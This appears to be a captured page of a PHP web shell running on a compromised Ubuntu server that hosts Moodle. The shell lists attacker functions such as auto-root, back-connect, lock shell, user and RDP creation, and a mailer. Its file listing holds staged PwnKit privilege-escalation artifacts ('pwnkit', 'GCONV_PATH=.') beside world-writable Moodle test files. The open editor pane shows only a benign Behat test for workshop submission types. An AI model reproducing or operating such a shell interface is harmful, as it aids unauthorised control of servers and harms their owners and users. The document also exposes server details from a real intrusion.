Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
workshop /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_mod_workshop.php
8.08
KB
-rwxrwxrwx
delete_submission.feature
4.38
KB
-rwxrwxrwx
embedded_images.feature
4.99
KB
-rwxrwxrwx
example_submission.feature
1.81
KB
-rwxrwxrwx
export_submission.feature
4.47
KB
-rwxrwxrwx
file_type_restriction.feature
6.25
KB
-rwxrwxrwx
grade_to_pass.feature
4.87
KB
-rwxrwxrwx
grading_strategy.feature
4.75
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
submission_types.feature
9.55
KB
-rwxrwxrwx
workshop_assessment.feature
8.63
KB
-rwxrwxrwx
workshop_late_submission.featu...
3.59
KB
-rwxrwxrwx
workshop_section_remembered.fe...
1.6
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : submission_types.feature
@mod @mod_workshop Feature: Submission types In order to Submit the correct type of materials As a student I want have a clear indication of which fields are accepted and required on the submission form Background: Given the following "courses" exist: | fullname | shortname | | Test | TEST | And I log in as "admin" @javascript Scenario: Test workshop settings validation Given I am on "Test" course homepage with editing mode on And I add a "Workshop" to section "0" When I set the following fields to these values: | Workshop name | Test workshop | | submissiontypetextavailable | 0 | | submissiontypefileavailable | 0 | And I press "Save and display" Then I should see "At least one submission type must be available" When I set the following fields to these values: | submissiontypetextavailable | 1 | Then the "submissiontypetextrequired" "field" should be disabled Then the "submissiontypefilerequired" "field" should be disabled And the field "submissiontypetextrequired" matches value "1" And the field "submissiontypefilerequired" matches value "0" When I set the following fields to these values: | submissiontypetextavailable | 0 | | submissiontypefileavailable | 1 | Then the "submissiontypetextrequired" "field" should be disabled Then the "submissiontypefilerequired" "field" should be disabled And the field "submissiontypetextrequired" matches value "0" And the field "submissiontypefilerequired" matches value "1" When I set the following fields to these values: | submissiontypetextavailable | 1 | | submissiontypetextrequired | 1 | | submissiontypefileavailable | 1 | | submissiontypefilerequired | 1 | And I press "Save and display" Then I should see "Setup phase" in the "h3#mod_workshop-userplanheading" "css_element" When I navigate to "Edit settings" in current page administration And I set the following fields to these values: | submissiontypetextrequired | 0 | And I press "Save and display" Then I should see "Setup phase" in the "h3#mod_workshop-userplanheading" "css_element" When I navigate to "Edit settings" in current page administration And I set the following fields to these values: | submissiontypetextrequired | 1 | | submissiontypefilerequired | 0 | And I press "Save and display" Then I should see "Setup phase" in the "h3#mod_workshop-userplanheading" "css_element" When I navigate to "Edit settings" in current page administration And I set the following fields to these values: | submissiontypefileavailable | 0 | And I press "Save and display" Then I should see "Setup phase" in the "h3#mod_workshop-userplanheading" "css_element" When I navigate to "Edit settings" in current page administration And I set the following fields to these values: | submissiontypefileavailable | 1 | | submissiontypefilerequired | 1 | | submissiontypetextavailable | 0 | And I press "Save and display" Then I should see "Setup phase" in the "h3#mod_workshop-userplanheading" "css_element" @javascript @_file_upload Scenario: All submission fields required Given the following "activities" exist: | activity | name | course | idnumber | submissiontypetext | submissiontypefile | | workshop | All required | TEST | workshop1 | 2 | 2 | And I am on the "All required" "workshop activity" page And I follow "Switch to the submission phase" And I press "Continue" And I press "Add submission" And I set the field "Title" to "Test submission" When I press "Save changes" Then I should see "You must supply a value here." in the "Submission content" "form_row" And I set the field "Submission content" to "Lorem ipsum dolor" And I press "Save changes" And I should see "You must supply a value here." in the "Attachment" "form_row" And I set the following fields to these values: | Attachment | mod/workshop/tests/fixtures/moodlelogo.png | And I press "Save changes" And I should not see "You must supply a value here." And I should see "My submission" And "Edit submission" "button" should exist Scenario: Online text required, file attachment optional Given the following "activities" exist: | activity | name | course | idnumber | submissiontypetext | submissiontypefile | | workshop | Optional file | TEST | workshop1 | 2 | 1 | And I am on the "Optional file" "workshop activity" page And I follow "Switch to the submission phase" And I press "Continue" And I press "Add submission" And I set the field "Title" to "Test submission" When I press "Save changes" Then I should see "You must supply a value here." in the "Submission content" "form_row" And I set the following fields to these values: | Submission content | Lorem ipsum dolor | And I press "Save changes" And I should not see "You must supply a value here." And I should see "My submission" And "Edit submission" "button" should exist @javascript @_file_upload Scenario: Online text optional, file attachment required Given the following "activities" exist: | activity | name | course | idnumber | submissiontypetext | submissiontypefile | | workshop | Optional text | TEST | workshop1 | 1 | 2 | And I am on the "Optional text" "workshop activity" page And I follow "Switch to the submission phase" And I press "Continue" And I press "Add submission" And I set the field "Title" to "Test submission" When I press "Save changes" Then I should see "You must supply a value here." in the "Attachment" "form_row" And I set the following fields to these values: | Attachment | mod/workshop/tests/fixtures/moodlelogo.png | And I press "Save changes" And I should not see "You must supply a value here." And I should see "My submission" And "Edit submission" "button" should exist Scenario: Online text only Given the following "activities" exist: | activity | name | course | idnumber | submissiontypetext | submissiontypefile | | workshop | Only text | TEST | workshop1 | 2 | 0 | And I am on the "Only text" "workshop activity" page And I follow "Switch to the submission phase" And I press "Continue" When I press "Add submission" Then "Attachment" "field" should not exist And I set the field "Title" to "Test submission" And I press "Save changes" And I should see "You must supply a value here." in the "Submission content" "form_row" And I set the following fields to these values: | Submission content | Lorem ipsum dolor | And I press "Save changes" And I should not see "You must supply a value here." And I should see "My submission" And "Edit submission" "button" should exist @javascript @_file_upload Scenario: File attachment only Given the following "activities" exist: | activity | name | course | idnumber | submissiontypetext | submissiontypefile | | workshop | Only file | TEST | workshop1 | 0 | 2 | And I am on the "Only file" "workshop activity" page And I follow "Switch to the submission phase" And I press "Continue" When I press "Add submission" Then "Submission content" "field" should not exist And I set the field "Title" to "Test submission" And I press "Save changes" And I should see "You must supply a value here." in the "Attachment" "form_row" And "Submission content" "form_row" should not exist And I set the following fields to these values: | Attachment | mod/workshop/tests/fixtures/moodlelogo.png | And I press "Save changes" And I should not see "You must supply a value here." And I should see "My submission" And "Edit submission" "button" should exist @javascript @_file_upload Scenario: Neither submission type explicitly required Given the following "activities" exist: | activity | name | course | idnumber | | workshop | Neither required | TEST | workshop1 | And I am on the "Neither required" "workshop activity" page And I follow "Switch to the submission phase" And I press "Continue" And I press "Add submission" And I set the field "Title" to "Test submission" When I press "Save changes" Then I should see "You need to add a file or enter some text." in the "Attachment" "form_row" And I should see "You need to enter some text or add a file." in the "Submission content" "form_row" And I set the following fields to these values: | Submission content | Lorem ipsum dolor | And I press "Save changes" And I should not see "You need to add a file or enter some text." And I should not see "You need to enter some text or add a file." And I should see "My submission" And "Edit submission" "button" should exist And I press "Edit submission" And I set the following fields to these values: | Submission content | | | Attachment | mod/workshop/tests/fixtures/moodlelogo.png | And I press "Save changes" And I should not see "You need to add a file or enter some text." And I should not see "You need to enter some text or add a file."
Close